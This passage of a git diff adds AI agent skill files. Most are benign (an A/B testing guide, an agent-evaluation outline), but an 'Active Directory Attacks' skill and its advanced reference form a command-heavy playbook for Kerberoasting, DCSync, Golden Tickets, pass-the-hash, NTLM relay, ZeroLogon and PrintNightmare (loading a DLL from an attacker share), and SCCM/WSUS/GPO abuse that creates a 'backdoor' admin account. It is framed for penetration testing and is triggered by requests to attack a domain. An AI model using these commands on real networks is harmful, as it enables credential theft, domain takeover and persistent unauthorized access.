-- **`@[brainstorming]`**: 在开始任何工作前进行头脑风暴，明确需求和设计
-- **`@[writing-plans]`**: 为复杂的多步骤任务编写详细的执行计划（Spec）
-- **`@[planning-with-files]`**: 适用于复杂任务的文件式规划系统（Manus-style）
-- **`@[executing-plans]`**: 执行已有的实施计划，包含检查点和审查机制
-- **`@[using-git-worktrees]`**: 创建隔离的 Git 工作树，用于并行开发或任务切换
-- **`@[verification-before-completion]`**: 在声明任务完成前运行验证命令，确保证据确凿
-- **`@[using-superpowers]`**: 引导用户发现和使用这些高级技能
+**For security:**
+- `@ethical-hacking-methodology` - Security basics
+- `@burp-suite-testing` - Web app security testing
 
-### 🧩 系统扩展 (System Extension)
-这些技能允许我扩展自身的能力边界。
-- **`@[mcp-builder]`**: 构建 MCP (Model Context Protocol) 服务器，连接外部工具和数据
-- **`@[skill-creator]`**: 创建新技能或更新现有技能，扩展我的知识库和工作流
-- **`@[writing-skills]`**: 辅助编写、编辑和验证技能文件的工具集
-- **`@[dispatching-parallel-agents]`**: 分发并行任务给多个 Agent 处理
+---
 
-## 📚 参考文档
-- [Anthropic Skills](https://github.com/anthropic/skills)
-- [UI/UX Pro Max Skills](https://github.com/nextlevelbuilder/ui-ux-pro-max-skill)
-- [Superpowers](https://github.com/obra/superpowers)
-- [Planning with Files](https://github.com/OthmanAdi/planning-with-files)
-- [NotebookLM](https://github.com/PleasePrompto/notebooklm-skill)
+## Creating Your Own Skill
+
+Want to create a new skill? Check out:
+1. [CONTRIBUTING.md](../CONTRIBUTING.md) - How to contribute
+2. [docs/SKILL_ANATOMY.md](../docs/SKILL_ANATOMY.md) - Skill structure guide
+3. `@skill-creator` - Use this skill to create new skills!
+
+**Basic structure:**
+```markdown
+---
+name: my-skill-name
+description: "What this skill does"
+---
+
+# Skill Title
+
+## Overview
+[What this skill does]
+
+## When to Use
+- Use when [scenario]
+
+## Instructions
+[Step-by-step guide]
+
+## Examples
+[Code examples]
+```
+
+---
+
+## Documentation
+
+- **[Getting Started](../GETTING_STARTED.md)** - Quick start guide
+- **[Examples](../docs/EXAMPLES.md)** - Real-world usage examples
+- **[FAQ](../FAQ.md)** - Common questions
+- **[Visual Guide](../docs/VISUAL_GUIDE.md)** - Diagrams and flowcharts
+
+---
+
+## 🌟 Contributing
+
+Found a skill that needs improvement? Want to add a new skill?
+
+1. Read [CONTRIBUTING.md](../CONTRIBUTING.md)
+2. Study existing skills in this folder
+3. Create your skill following the structure
+4. Submit a Pull Request
+
+---
+
+## References
+
+- [Anthropic Skills](https://github.com/anthropic/skills) - Official Anthropic skills
+- [UI/UX Pro Max Skills](https://github.com/nextlevelbuilder/ui-ux-pro-max-skill) - Design skills
+- [Superpowers](https://github.com/obra/superpowers) - Original superpowers collection
+- [Planning with Files](https://github.com/OthmanAdi/planning-with-files) - Planning patterns
+- [NotebookLM](https://github.com/PleasePrompto/notebooklm-skill) - NotebookLM integration
+
+---
+
+**Need help?** Check the [FAQ](../FAQ.md) or open an issue on GitHub!

skills/ab-test-setup/SKILL.md

@@ -0,0 +1,232 @@
+---
+name: ab-test-setup
+description: Structured guide for setting up A/B tests with mandatory gates for hypothesis, metrics, and execution readiness.
+---
+
+# A/B Test Setup
+
+## 1️⃣ Purpose & Scope
+
+Ensure every A/B test is **valid, rigorous, and safe** before a single line of code is written.
+
+- Prevents "peeking"
+- Enforces statistical power
+- Blocks invalid hypotheses
+
+---
+
+## 2️⃣ Pre-Requisites
+
+You must have:
+
+- A clear user problem
+- Access to an analytics source
+- Roughly estimated traffic volume
+
+### Hypothesis Quality Checklist
+
+A valid hypothesis includes:
+
+- Observation or evidence
+- Single, specific change
+- Directional expectation
+- Defined audience
+- Measurable success criteria
+
+---
+
+### 3️⃣ Hypothesis Lock (Hard Gate)
+
+Before designing variants or metrics, you MUST:
+
+- Present the **final hypothesis**
+- Specify:
+  - Target audience
+  - Primary metric
+  - Expected direction of effect
+  - Minimum Detectable Effect (MDE)
+
+Ask explicitly:
+
+> “Is this the final hypothesis we are committing to for this test?”
+
+**Do NOT proceed until confirmed.**
+
+---
+
+### 4️⃣ Assumptions & Validity Check (Mandatory)
+
+Explicitly list assumptions about:
+
+- Traffic stability
+- User independence
+- Metric reliability
+- Randomization quality
+- External factors (seasonality, campaigns, releases)
+
+If assumptions are weak or violated:
+
+- Warn the user
+- Recommend delaying or redesigning the test
+
+---
+
+### 5️⃣ Test Type Selection
+
+Choose the simplest valid test:
+
+- **A/B Test** – single change, two variants
+- **A/B/n Test** – multiple variants, higher traffic required
+- **Multivariate Test (MVT)** – interaction effects, very high traffic
+- **Split URL Test** – major structural changes
+
+Default to **A/B** unless there is a clear reason otherwise.
+
+---
+
+### 6️⃣ Metrics Definition
+
+#### Primary Metric (Mandatory)
+
+- Single metric used to evaluate success
+- Directly tied to the hypothesis
+- Pre-defined and frozen before launch
+
+#### Secondary Metrics
+
+- Provide context
+- Explain _why_ results occurred
+- Must not override the primary metric
+
+#### Guardrail Metrics
+
+- Metrics that must not degrade
+- Used to prevent harmful wins
+- Trigger test stop if significantly negative
+
+---
+
+### 7️⃣ Sample Size & Duration
+
+Define upfront:
+
+- Baseline rate
+- MDE
+- Significance level (typically 95%)
+- Statistical power (typically 80%)
+
+Estimate:
+
+- Required sample size per variant
+- Expected test duration
+
+**Do NOT proceed without a realistic sample size estimate.**
+
+---
+
+### 8️⃣ Execution Readiness Gate (Hard Stop)
+
+You may proceed to implementation **only if all are true**:
+
+- Hypothesis is locked
+- Primary metric is frozen
+- Sample size is calculated
+- Test duration is defined
+- Guardrails are set
+- Tracking is verified
+
+If any item is missing, stop and resolve it.
+
+---
+
+## Running the Test
+
+### During the Test
+
+**DO:**
+
+- Monitor technical health
+- Document external factors
+
+**DO NOT:**
+
+- Stop early due to “good-looking” results
+- Change variants mid-test
+- Add new traffic sources
+- Redefine success criteria
+
+---
+
+## Analyzing Results
+
+### Analysis Discipline
+
+When interpreting results:
+
+- Do NOT generalize beyond the tested population
+- Do NOT claim causality beyond the tested change
+- Do NOT override guardrail failures
+- Separate statistical significance from business judgment
+
+### Interpretation Outcomes
+
+| Result               | Action                                 |
+| -------------------- | -------------------------------------- |
+| Significant positive | Consider rollout                       |
+| Significant negative | Reject variant, document learning      |
+| Inconclusive         | Consider more traffic or bolder change |
+| Guardrail failure    | Do not ship, even if primary wins      |
+
+---
+
+## Documentation & Learning
+
+### Test Record (Mandatory)
+
+Document:
+
+- Hypothesis
+- Variants
+- Metrics
+- Sample size vs achieved
+- Results
+- Decision
+- Learnings
+- Follow-up ideas
+
+Store records in a shared, searchable location to avoid repeated failures.
+
+---
+
+## Refusal Conditions (Safety)
+
+Refuse to proceed if:
+
+- Baseline rate is unknown and cannot be estimated
+- Traffic is insufficient to detect the MDE
+- Primary metric is undefined
+- Multiple variables are changed without proper design
+- Hypothesis cannot be clearly stated
+
+Explain why and recommend next steps.
+
+---
+
+## Key Principles (Non-Negotiable)
+
+- One hypothesis per test
+- One primary metric
+- Commit before launch
+- No peeking
+- Learning over winning
+- Statistical rigor first
+
+---
+
+## Final Reminder
+
+A/B testing is not about proving ideas right.
+It is about **learning the truth with confidence**.
+
+If you feel tempted to rush, simplify, or “just try it” —
+that is the signal to **slow down and re-check the design**.

skills/active-directory-attacks/SKILL.md

@@ -0,0 +1,383 @@
+---
+name: Active Directory Attacks
+description: This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Active Directory Attacks
+
+## Purpose
+
+Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
+
+## Inputs/Prerequisites
+
+- Kali Linux or Windows attack platform
+- Domain user credentials (for most attacks)
+- Network access to Domain Controller
+- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
+
+## Outputs/Deliverables
+
+- Domain enumeration data
+- Extracted credentials and hashes
+- Kerberos tickets for impersonation
+- Domain Administrator access
+- Persistent access mechanisms
+
+---
+
+## Essential Tools
+
+| Tool | Purpose |
+|------|---------|
+| BloodHound | AD attack path visualization |
+| Impacket | Python AD attack tools |
+| Mimikatz | Credential extraction |
+| Rubeus | Kerberos attacks |
+| CrackMapExec | Network exploitation |
+| PowerView | AD enumeration |
+| Responder | LLMNR/NBT-NS poisoning |
+
+---
+
+## Core Workflow
+
+### Step 1: Kerberos Clock Sync
+
+Kerberos requires clock synchronization (±5 minutes):
+
+```bash
+# Detect clock skew
+nmap -sT 10.10.10.10 -p445 --script smb2-time
+
+# Fix clock on Linux
+sudo date -s "14 APR 2024 18:25:16"
+
+# Fix clock on Windows
+net time /domain /set
+
+# Fake clock without changing system time
+faketime -f '+8h' <command>
+```
+
+### Step 2: AD Reconnaissance with BloodHound
+
+```bash
+# Start BloodHound
+neo4j console
+bloodhound --no-sandbox
+
+# Collect data with SharpHound
+.\SharpHound.exe -c All
+.\SharpHound.exe -c All --ldapusername user --ldappassword pass
+
+# Python collector (from Linux)
+bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
+```
+
+### Step 3: PowerView Enumeration
+
+```powershell
+# Get domain info
+Get-NetDomain
+Get-DomainSID
+Get-NetDomainController
+
+# Enumerate users
+Get-NetUser
+Get-NetUser -SamAccountName targetuser
+Get-UserProperty -Properties pwdlastset
+
+# Enumerate groups
+Get-NetGroupMember -GroupName "Domain Admins"
+Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
+
+# Find local admin access
+Find-LocalAdminAccess -Verbose
+
+# User hunting
+Invoke-UserHunter
+Invoke-UserHunter -Stealth
+```
+
+---
+
+## Credential Attacks
+
+### Password Spraying
+
+```bash
+# Using kerbrute
+./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
+
+# Using CrackMapExec
+crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
+```
+
+### Kerberoasting
+
+Extract service account TGS tickets and crack offline:
+
+```bash
+# Impacket
+GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
+
+# Rubeus
+.\Rubeus.exe kerberoast /outfile:hashes.txt
+
+# CrackMapExec
+crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
+
+# Crack with hashcat
+hashcat -m 13100 hashes.txt rockyou.txt
+```
+
+### AS-REP Roasting
+
+Target accounts with "Do not require Kerberos preauthentication":
+
+```bash
+# Impacket
+GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
+
+# Rubeus
+.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
+
+# Crack with hashcat
+hashcat -m 18200 hashes.txt rockyou.txt
+```
+
+### DCSync Attack
+
+Extract credentials directly from DC (requires Replicating Directory Changes rights):
+
+```bash
+# Impacket
+secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
+
+# Mimikatz
+lsadump::dcsync /domain:domain.local /user:krbtgt
+lsadump::dcsync /domain:domain.local /user:Administrator
+```
+
+---
+
+## Kerberos Ticket Attacks
+
+### Pass-the-Ticket (Golden Ticket)
+
+Forge TGT with krbtgt hash for any user:
+
+```powershell
+# Get krbtgt hash via DCSync first
+# Mimikatz - Create Golden Ticket
+kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
+
+# Impacket
+ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
+export KRB5CCNAME=Administrator.ccache
+psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
+```
+
+### Silver Ticket
+
+Forge TGS for specific service:
+
+```powershell
+# Mimikatz
+kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
+```
+
+### Pass-the-Hash
+
+```bash
+# Impacket
+psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
+
+# CrackMapExec
+crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
+crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
+```
+
+### OverPass-the-Hash
+
+Convert NTLM hash to Kerberos ticket:
+
+```bash
+# Impacket
+getTGT.py domain.local/user -hashes :NTHASH
+export KRB5CCNAME=user.ccache
+
+# Rubeus
+.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
+```
+
+---
+
+## NTLM Relay Attacks
+
+### Responder + ntlmrelayx
+
+```bash
+# Start Responder (disable SMB/HTTP for relay)
+responder -I eth0 -wrf
+
+# Start relay
+ntlmrelayx.py -tf targets.txt -smb2support
+
+# LDAP relay for delegation attack
+ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
+```
+
+### SMB Signing Check
+
+```bash
+crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
+```
+
+---
+
+## Certificate Services Attacks (AD CS)
+
+### ESC1 - Misconfigured Templates
+
+```bash
+# Find vulnerable templates
+certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
+
+# Exploit ESC1
+certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local
+
+# Authenticate with certificate
+certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
+```
+
+### ESC8 - Web Enrollment Relay
+
+```bash
+ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+```
+
+---
+
+## Critical CVEs
+
+### ZeroLogon (CVE-2020-1472)
+
+```bash
+# Check vulnerability
+crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
+
+# Exploit
+python3 cve-2020-1472-exploit.py DC01 10.10.10.10
+
+# Extract hashes
+secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
+
+# Restore password (important!)
+python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
+```
+
+### PrintNightmare (CVE-2021-1675)
+
+```bash
+# Check for vulnerability
+rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
+
+# Exploit (requires hosting malicious DLL)
+python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
+```
+
+### samAccountName Spoofing (CVE-2021-42278/42287)
+
+```bash
+# Automated exploitation
+python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
+```
+
+---
+
+## Quick Reference
+
+| Attack | Tool | Command |
+|--------|------|---------|
+| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
+| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
+| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
+| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
+| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
+| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
+
+---
+
+## Constraints
+
+**Must:**
+- Synchronize time with DC before Kerberos attacks
+- Have valid domain credentials for most attacks
+- Document all compromised accounts
+
+**Must Not:**
+- Lock out accounts with excessive password spraying
+- Modify production AD objects without approval
+- Leave Golden Tickets without documentation
+
+**Should:**
+- Run BloodHound for attack path discovery
+- Check for SMB signing before relay attacks
+- Verify patch levels for CVE exploitation
+
+---
+
+## Examples
+
+### Example 1: Domain Compromise via Kerberoasting
+
+```bash
+# 1. Find service accounts with SPNs
+GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
+
+# 2. Request TGS tickets
+GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
+
+# 3. Crack tickets
+hashcat -m 13100 tgs.txt rockyou.txt
+
+# 4. Use cracked service account
+psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
+```
+
+### Example 2: NTLM Relay to LDAP
+
+```bash
+# 1. Start relay targeting LDAP
+ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
+
+# 2. Trigger authentication (e.g., via PrinterBug)
+python3 printerbug.py domain.local/user:pass@target 10.10.10.12
+
+# 3. Use created machine account for RBCD attack
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| Clock skew too great | Sync time with DC or use faketime |
+| Kerberoasting returns empty | No service accounts with SPNs |
+| DCSync access denied | Need Replicating Directory Changes rights |
+| NTLM relay fails | Check SMB signing, try LDAP target |
+| BloodHound empty | Verify collector ran with correct creds |
+
+---
+
+## Additional Resources
+
+For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).

skills/active-directory-attacks/references/advanced-attacks.md

@@ -0,0 +1,382 @@
+# Advanced Active Directory Attacks Reference
+
+## Table of Contents
+1. [Delegation Attacks](#delegation-attacks)
+2. [Group Policy Object Abuse](#group-policy-object-abuse)
+3. [RODC Attacks](#rodc-attacks)
+4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
+5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
+6. [Trust Relationship Attacks](#trust-relationship-attacks)
+7. [ADFS Golden SAML](#adfs-golden-saml)
+8. [Credential Sources](#credential-sources)
+9. [Linux AD Integration](#linux-ad-integration)
+
+---
+
+## Delegation Attacks
+
+### Unconstrained Delegation
+
+When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
+
+**Find Delegation:**
+```powershell
+# PowerShell
+Get-ADComputer -Filter {TrustedForDelegation -eq $True}
+
+# BloodHound
+MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
+```
+
+**SpoolService Abuse:**
+```bash
+# Check spooler service
+ls \\dc01\pipe\spoolss
+
+# Trigger with SpoolSample
+.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
+
+# Or with printerbug.py
+python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
+```
+
+**Monitor with Rubeus:**
+```powershell
+Rubeus.exe monitor /interval:1
+```
+
+### Constrained Delegation
+
+**Identify:**
+```powershell
+Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
+```
+
+**Exploit with Rubeus:**
+```powershell
+# S4U2 attack
+Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
+```
+
+**Exploit with Impacket:**
+```bash
+getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
+```
+
+### Resource-Based Constrained Delegation (RBCD)
+
+```powershell
+# Create machine account
+New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
+
+# Set delegation
+Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
+
+# Get ticket
+.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
+```
+
+---
+
+## Group Policy Object Abuse
+
+### Find Vulnerable GPOs
+
+```powershell
+Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
+```
+
+### Abuse with SharpGPOAbuse
+
+```powershell
+# Add local admin
+.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
+
+# Add user rights
+.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
+
+# Add immediate task
+.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
+```
+
+### Abuse with pyGPOAbuse (Linux)
+
+```bash
+./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
+```
+
+---
+
+## RODC Attacks
+
+### RODC Golden Ticket
+
+RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
+
+### RODC Key List Attack
+
+**Requirements:**
+- krbtgt credentials of the RODC (-rodcKey)
+- ID of the krbtgt account of the RODC (-rodcNo)
+
+```bash
+# Impacket keylistattack
+keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
+
+# Using secretsdump with keylist
+secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
+```
+
+**Using Rubeus:**
+```powershell
+Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
+```
+
+---
+
+## SCCM/WSUS Deployment
+
+### SCCM Attack with MalSCCM
+
+```bash
+# Locate SCCM server
+MalSCCM.exe locate
+
+# Enumerate targets
+MalSCCM.exe inspect /all
+MalSCCM.exe inspect /computers
+
+# Create target group
+MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
+MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
+
+# Create malicious app
+MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
+
+# Deploy
+MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
+
+# Force checkin
+MalSCCM.exe checkin /groupname:TargetGroup
+
+# Cleanup
+MalSCCM.exe app /cleanup /name:backdoor
+MalSCCM.exe group /delete /groupname:TargetGroup
+```
+
+### SCCM Network Access Accounts
+
+```powershell
+# Find SCCM blob
+Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
+
+# Decrypt with SharpSCCM
+.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
+```
+
+### WSUS Deployment Attack
+
+```bash
+# Using SharpWSUS
+SharpWSUS.exe locate
+SharpWSUS.exe inspect
+
+# Create malicious update
+SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
+
+# Deploy to target
+SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
+
+# Check status
+SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
+
+# Cleanup
+SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
+```
+
+---
+
+## AD Certificate Services (ADCS)
+
+### ESC1 - Misconfigured Templates
+
+Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
+
+```bash
+# Find vulnerable templates
+certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable
+
+# Request certificate as admin
+certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local
+
+# Authenticate
+certipy auth -pfx administrator.pfx -dc-ip DC_IP
+```
+
+### ESC4 - ACL Vulnerabilities
+
+```python
+# Check for WriteProperty
+python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
+
+# Add ENROLLEE_SUPPLIES_SUBJECT flag
+python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
+
+# Perform ESC1, then restore
+python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
+```
+
+### ESC8 - NTLM Relay to Web Enrollment
+
+```bash
+# Start relay
+ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+
+# Coerce authentication
+python3 petitpotam.py ATTACKER_IP DC_IP
+
+# Use certificate
+Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
+```
+
+### Shadow Credentials
+
+```bash
+# Add Key Credential (pyWhisker)
+python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
+
+# Get TGT with PKINIT
+python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
+
+# Get NT hash
+export KRB5CCNAME=target.ccache
+python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
+```
+
+---
+
+## Trust Relationship Attacks
+
+### Child to Parent Domain (SID History)
+
+```powershell
+# Get Enterprise Admins SID from parent
+$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
+
+# Create Golden Ticket with SID History
+kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
+```
+
+### Forest to Forest (Trust Ticket)
+
+```bash
+# Dump trust key
+lsadump::trust /patch
+
+# Forge inter-realm TGT
+kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
+
+# Use trust ticket
+.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
+```
+
+---
+
+## ADFS Golden SAML
+
+**Requirements:**
+- ADFS service account access
+- Token signing certificate (PFX + decryption password)
+
+```bash
+# Dump with ADFSDump
+.\ADFSDump.exe
+
+# Forge SAML token
+python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
+```
+
+---
+
+## Credential Sources
+
+### LAPS Password
+
+```powershell
+# PowerShell
+Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
+
+# CrackMapExec
+crackmapexec ldap DC_IP -u user -p password -M laps
+```
+
+### GMSA Password
+
+```powershell
+# PowerShell + DSInternals
+$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
+$mp = $gmsa.'msDS-ManagedPassword'
+ConvertFrom-ADManagedPasswordBlob $mp
+```
+
+```bash
+# Linux with bloodyAD
+python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
+```
+
+### Group Policy Preferences (GPP)
+
+```bash
+# Find in SYSVOL
+findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
+
+# Decrypt
+python3 Get-GPPPassword.py -no-pass 'DC_IP'
+```
+
+### DSRM Credentials
+
+```powershell
+# Dump DSRM hash
+Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
+
+# Enable DSRM admin logon
+Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
+```
+
+---
+
+## Linux AD Integration
+
+### CCACHE Ticket Reuse
+
+```bash
+# Find tickets
+ls /tmp/ | grep krb5cc
+
+# Use ticket
+export KRB5CCNAME=/tmp/krb5cc_1000
+```
+
+### Extract from Keytab
+
+```bash
+# List keys
+klist -k /etc/krb5.keytab
+
+# Extract with KeyTabExtract
+python3 keytabextract.py /etc/krb5.keytab
+```
+
+### Extract from SSSD
+
+```bash
+# Database location
+/var/lib/sss/secrets/secrets.ldb
+
+# Key location
+/var/lib/sss/secrets/.secrets.mkey
+
+# Extract
+python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
+```

skills/agent-evaluation/SKILL.md

@@ -0,0 +1,64 @@
+---
+name: agent-evaluation
+description: "Testing and benchmarking LLM agents including behavioral testing, capability assessment, reliability metrics, and production monitoring—where even top agents achieve less than 50% on real-world benchmarks Use when: agent testing, agent evaluation, benchmark agents, agent reliability, test agent."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Agent Evaluation
+
+You're a quality engineer who has seen agents that aced benchmarks fail spectacularly in
+production. You've learned that evaluating LLM agents is fundamentally different from
+testing traditional software—the same input can produce different outputs, and "correct"
+often has no single answer.
+
+You've built evaluation frameworks that catch issues before production: behavioral regression
+tests, capability assessments, and reliability metrics. You understand that the goal isn't
+100% test pass rate—it
+
+## Capabilities
+
+- agent-testing
+- benchmark-design
+- capability-assessment
+- reliability-metrics
+- regression-testing
+
+## Requirements
+
+- testing-fundamentals
+- llm-fundamentals
+
+## Patterns
+
+### Statistical Test Evaluation
+
+Run tests multiple times and analyze result distributions
+
+### Behavioral Contract Testing
+
+Define and test agent behavioral invariants
+
+### Adversarial Testing
+
+Actively try to break agent behavior
+
+## Anti-Patterns
+
+### ❌ Single-Run Testing
+
+### ❌ Only Happy Path Tests
+
+### ❌ Output String Matching
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Agent scores well on benchmarks but fails in production | high | // Bridge benchmark and production evaluation |
+| Same test passes sometimes, fails other times | high | // Handle flaky tests in LLM agent evaluation |
+| Agent optimized for metric, not actual task | medium | // Multi-dimensional evaluation to prevent gaming |
+| Test data accidentally used in training or prompts | critical | // Prevent data leakage in agent evaluation |
+
+## Related Skills
+
+Works well with: `multi-agent-orchestration`, `agent-communication`, `autonomous-agents`

skills/agent-manager-skill/SKILL.md

@@ -0,0 +1,40 @@
+---
+name: agent-manager-skill
